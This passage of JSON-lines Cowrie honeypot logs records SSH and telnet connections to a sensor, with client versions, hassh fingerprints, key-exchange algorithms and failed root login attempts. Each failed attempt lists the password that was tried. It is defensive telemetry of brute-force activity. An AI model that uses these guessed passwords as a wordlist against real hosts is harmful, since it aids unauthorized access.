","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:30.569131Z","src_ip":"43.153.104.156","session":"acbe80c27e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211","message":"login attempt [root/Aa112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:30.893447Z","src_ip":"43.153.104.156","session":"acbe80c27e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44612,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee622b09c9f3","protocol":"telnet","message":"New connection: 192.119.13.58:44612 (10.17.0.5:23) [session: ee622b09c9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:30.982337Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:31.965892Z","src_ip":"43.153.104.156","session":"acbe80c27e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37198,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2aaf17c6f27","protocol":"ssh","message":"New connection: 103.27.238.116:37198 (159.203.135.109:22) [session: f2aaf17c6f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:32.988974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:32.994295Z","src_ip":"103.27.238.116","session":"f2aaf17c6f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:33.269551Z","src_ip":"103.27.238.116","session":"f2aaf17c6f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.68250322341919,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:34.045698Z","src_ip":"192.119.13.58","session":"a06c5a771af9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"eduard","message":"login attempt [root/eduard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:34.085102Z","src_ip":"103.27.238.116","session":"f2aaf17c6f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59032,"dst_ip":"10.17.0.5","dst_port":23,"session":"7efa79b81251","protocol":"telnet","message":"New connection: 192.119.13.58:59032 (10.17.0.5:23) [session: 7efa79b81251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:34.420278Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59652,"dst_ip":"10.17.0.5","dst_port":23,"session":"6574fbd8c391","protocol":"telnet","message":"New connection: 192.119.13.58:59652 (10.17.0.5:23) [session: 6574fbd8c391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:34.588060Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:35.359656Z","src_ip":"103.27.238.116","session":"f2aaf17c6f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":53888,"dst_ip":"159.203.135.109","dst_port":22,"session":"81eb37a763ee","protocol":"ssh","message":"New connection: 103.166.103.173:53888 (159.203.135.109:22) [session: 81eb37a763ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:36.469702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:36.476066Z","src_ip":"103.166.103.173","session":"81eb37a763ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:36.737265Z","src_ip":"103.166.103.173","session":"81eb37a763ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nagios2011","message":"login attempt [root/nagios2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:37.743733Z","src_ip":"103.166.103.173","session":"81eb37a763ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.783730268478394,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:38.892429Z","src_ip":"192.119.13.58","session":"eacb19590600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:38.990575Z","src_ip":"103.166.103.173","session":"81eb37a763ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.03288197517395,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:39.483571Z","src_ip":"192.119.13.58","session":"cb831ac3b3d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48688,"dst_ip":"10.17.0.5","dst_port":23,"session":"1792a0d167d3","protocol":"telnet","message":"New connection: 192.119.13.58:48688 (10.17.0.5:23) [session: 1792a0d167d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:39.923549Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":52486,"dst_ip":"159.203.135.109","dst_port":22,"session":"45cb16b0ecab","protocol":"ssh","message":"New connection: 43.135.182.46:52486 (159.203.135.109:22) [session: 45cb16b0ecab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:43.098453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:43.103516Z","src_ip":"43.135.182.46","session":"45cb16b0ecab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:43.175146Z","src_ip":"43.135.182.46","session":"45cb16b0ecab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ds123456","message":"login attempt [root/ds123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:43.483033Z","src_ip":"43.135.182.46","session":"45cb16b0ecab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:44.556130Z","src_ip":"43.135.182.46","session":"45cb16b0ecab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":37690,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a413eef7670","protocol":"ssh","message":"New connection: 109.172.54.111:37690 (159.203.135.109:22) [session: 3a413eef7670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:47.184608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:47.189408Z","src_ip":"109.172.54.111","session":"3a413eef7670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:47.289558Z","src_ip":"109.172.54.111","session":"3a413eef7670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxasqw","message":"login attempt [root/zxasqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:47.604974Z","src_ip":"109.172.54.111","session":"3a413eef7670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58960,"dst_ip":"10.17.0.5","dst_port":23,"session":"de255d6000fa","protocol":"telnet","message":"New connection: 192.119.13.58:58960 (10.17.0.5:23) [session: de255d6000fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:48.031143Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:48.714900Z","src_ip":"109.172.54.111","session":"3a413eef7670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.83490037918091,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:49.646823Z","src_ip":"192.119.13.58","session":"42d8bd74157b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b30a6ac021","protocol":"telnet","message":"New connection: 192.119.13.58:46964 (10.17.0.5:23) [session: a2b30a6ac021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:53.235504Z"}
{"eventid":"cowrie.session.closed","duration":38.982353925704956,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:54.102497Z","src_ip":"192.119.13.58","session":"89cb563ee48f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56686,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a316e4329b0","protocol":"telnet","message":"New connection: 192.119.13.58:56686 (10.17.0.5:23) [session: 4a316e4329b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:18:54.683521Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53778,"dst_ip":"10.17.0.5","dst_port":23,"session":"c268bb8d1d1a","protocol":"telnet","message":"New connection: 192.119.13.58:53778 (10.17.0.5:23) [session: c268bb8d1d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:01.465446Z"}
{"eventid":"cowrie.session.closed","duration":37.09452676773071,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:02.533456Z","src_ip":"192.119.13.58","session":"324887fa925d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.39393162727356,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:02.893534Z","src_ip":"192.119.13.58","session":"936f30acf033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":55723,"dst_ip":"159.203.135.109","dst_port":23,"session":"1751cf47e89e","protocol":"telnet","message":"New connection: 186.195.16.41:55723 (159.203.135.109:23) [session: 1751cf47e89e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:03.681300Z"}
{"eventid":"cowrie.session.closed","duration":35.28127694129944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:06.263423Z","src_ip":"192.119.13.58","session":"ee622b09c9f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46898,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a4a824aaa52","protocol":"telnet","message":"New connection: 192.119.13.58:46898 (10.17.0.5:23) [session: 3a4a824aaa52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:07.020509Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57058,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3775d0d3690","protocol":"telnet","message":"New connection: 192.119.13.58:57058 (10.17.0.5:23) [session: a3775d0d3690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:09.448995Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48158,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad2fe931ff0d","protocol":"telnet","message":"New connection: 192.119.13.58:48158 (10.17.0.5:23) [session: ad2fe931ff0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:14.332469Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58308,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c96e1cd67f8","protocol":"ssh","message":"New connection: 103.176.20.57:58308 (159.203.135.109:22) [session: 6c96e1cd67f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:14.343520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:14.349868Z","src_ip":"103.176.20.57","session":"6c96e1cd67f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:14.600400Z","src_ip":"103.176.20.57","session":"6c96e1cd67f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnf123","message":"login attempt [root/ybrbnf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:15.347342Z","src_ip":"103.176.20.57","session":"6c96e1cd67f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.52062964439392,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:15.444046Z","src_ip":"192.119.13.58","session":"1792a0d167d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:16.602137Z","src_ip":"103.176.20.57","session":"6c96e1cd67f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":33106,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cfa0f775c5f","protocol":"ssh","message":"New connection: 103.210.22.17:33106 (159.203.135.109:22) [session: 5cfa0f775c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:17.676703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:17.683013Z","src_ip":"103.210.22.17","session":"5cfa0f775c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.59702944755554,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:18.017152Z","src_ip":"192.119.13.58","session":"7efa79b81251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.713353633880615,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:18.301236Z","src_ip":"192.119.13.58","session":"6574fbd8c391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44198,"dst_ip":"10.17.0.5","dst_port":23,"session":"350085f74a54","protocol":"telnet","message":"New connection: 192.119.13.58:44198 (10.17.0.5:23) [session: 350085f74a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:20.437957Z"}
{"eventid":"cowrie.session.closed","duration":33.2020845413208,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:21.233119Z","src_ip":"192.119.13.58","session":"de255d6000fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47692,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4cf344f88da","protocol":"telnet","message":"New connection: 192.119.13.58:47692 (10.17.0.5:23) [session: a4cf344f88da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:21.347744Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47920,"dst_ip":"10.17.0.5","dst_port":23,"session":"47cb1d1c2051","protocol":"telnet","message":"New connection: 192.119.13.58:47920 (10.17.0.5:23) [session: 47cb1d1c2051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:21.393488Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":41620,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c825638e676","protocol":"ssh","message":"New connection: 43.135.129.144:41620 (159.203.135.109:22) [session: 9c825638e676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:19:28.980268Z"}
